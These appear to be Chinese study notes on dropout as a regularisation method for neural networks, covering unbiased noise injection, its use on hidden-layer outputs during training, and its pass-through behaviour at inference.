权重衰退是常见处理过拟合的方法
丢弃法比权重衰退效果要好

动机

• 一个好的模型 需要第输入数据的扰动具有鲁棒性
  • 使用有噪音的数据等价于Tikhonov正则
  • 丢弃法：在层之间加入噪音

（所以丢弃法其实是一个正则）

无偏差的加入噪音

• 对x加入噪音得到x’，我们希望
  $$E[x^{\prime }]=x$$
• 丢弃法对每个元素进行如下扰动
  

使用

通常将丢弃法作用在隐藏全连接层的输出上

对隐藏层的每一个神经元做dropout，使每一个都有p概率变为0
即去掉一些权重（每次可能去掉的不一样）

在训练中使用

推理中的丢弃法

• 正则项只在训练中使用：他们影响模型参数的更新
• 在推理过程中，dropout直接返回输入

  h=dropout(h)
  

  这样也能保证确定性的输出
  每次随机的采样一些子神经网络

总结

• 丢弃法将一些输出项随机置0来控制模型复杂度
• 常作用在多层感知机的隐藏层输出上
• 丢弃概率使控制模型复杂度的超参数